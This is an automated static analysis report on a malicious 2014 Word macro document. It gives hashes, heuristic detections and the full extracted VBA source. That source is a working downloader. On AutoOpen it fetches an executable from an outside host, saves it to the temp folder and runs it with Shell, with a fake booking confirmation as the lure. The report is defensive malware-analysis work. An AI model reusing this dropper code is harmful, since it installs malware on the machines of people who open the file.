Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00c687be911d63f6…

MALICIOUS

Office (OLE)

104.0 KB Created: 2014-06-16 13:16:00 Authoring application: Microsoft Office Word First seen: 2014-06-27
MD5: b02aea177df8400fcd284f2c28483bf3 SHA-1: 2e97ea338542b13260d69c26004d3eaf3a095012 SHA-256: 00c687be911d63f6e284d91375254b695daec14bbbf8cb8cf7d745ff8cc43880
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that are triggered by AutoOpen and Workbook_Open events. The macro attempts to download a file from http://s1.directxex.com/uploads/apV3Sh3Tpx8OcQZp_dc22oelq7ueBKMQuE9vq096S3E6qyCYqXv9BxbkN75op-2d2ITlxuuL8zxgFaHHc5Ev8XEJI6-kjQLZ1R-n and save it as BERYMO.exe in the temporary directory. It then executes this downloaded file using the Shell function. The document body displays a fake booking confirmation to trick the user into enabling macros.

Heuristics 11

  • ClamAV: Doc.Macro.GenericHeuristic-5931846-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5931846-4
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        OKQVLN = Shell(LRTHSL, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set YEPJMJ = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        EQXAUI "http://s1.directxex.com/uploads/apV3Sh3Tpx8OcQZp_dc22oelq7ueBKMQuE9vq096S3E6qyCYqXv9BxbkN75op-2d2ITlxuuL8zxgFaHHc5Ev8XEJI6-kjQLZ1R-n", Environ("TMP") & "\BERYMO.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://s1.directxex.com/uploads/apV3Sh3Tpx8OcQZp_dc22oelq7ueBKMQuE9vq096S3E6qyCYqXv9BxbkN75op-2d2ITlxuuL8zxgFaHHc5Ev8XEJI6-kjQLZ1R-n� In document text (OLE body)
    • http://s1.directxex.com/uploads/apV3Sh3Tpx8OcQZp_dc22oelq7ueBKMQuE9vq096S3E6qyCYqXv9BxbkN75op-2d2ITlxuuL8zxgFaHHc5Ev8XEJI6-kjQLZ1R-nIn document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1235 bytes
SHA-256: 42aa3055d484964437498e42495cfd0dbd57d7186c042ebda30c046dae923249
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Workbook_Open()
    Auto_Open
End Sub
Sub YUIXEV()
    EQXAUI "http://s1.directxex.com/uploads/apV3Sh3Tpx8OcQZp_dc22oelq7ueBKMQuE9vq096S3E6qyCYqXv9BxbkN75op-2d2ITlxuuL8zxgFaHHc5Ev8XEJI6-kjQLZ1R-n", Environ("TMP") & "\BERYMO.exe"
End Sub
Function EQXAUI(ByVal CZNODM As String, ByVal LRTHSL As String) As Boolean
     Dim YEPJMJ As Object, OIMIUG As Long, BQEWOJ As Long, BFAACX() As Byte

    Set YEPJMJ = CreateObject("MSXML2.XMLHTTP")
    YEPJMJ.Open "GET", CZNODM, False
    YEPJMJ.Send "send request"

    Do While YEPJMJ.readyState <> 4
    DoEvents
    Loop

    BFAACX = YEPJMJ.responseBody

    BQEWOJ = FreeFile
    If Dir(LRTHSL) <> "" Then Kill LRTHSL
    Open LRTHSL For Binary As #BQEWOJ
    Put #BQEWOJ, , BFAACX
    Close #BQEWOJ
    
    Dim OKQVLN
    OKQVLN = Shell(LRTHSL, 1)

    Set YEPJMJ = Nothing
     
End Function
Sub Auto_Open()
YUIXEV
End Sub
Sub AutoOpen()
    Auto_Open
End Sub

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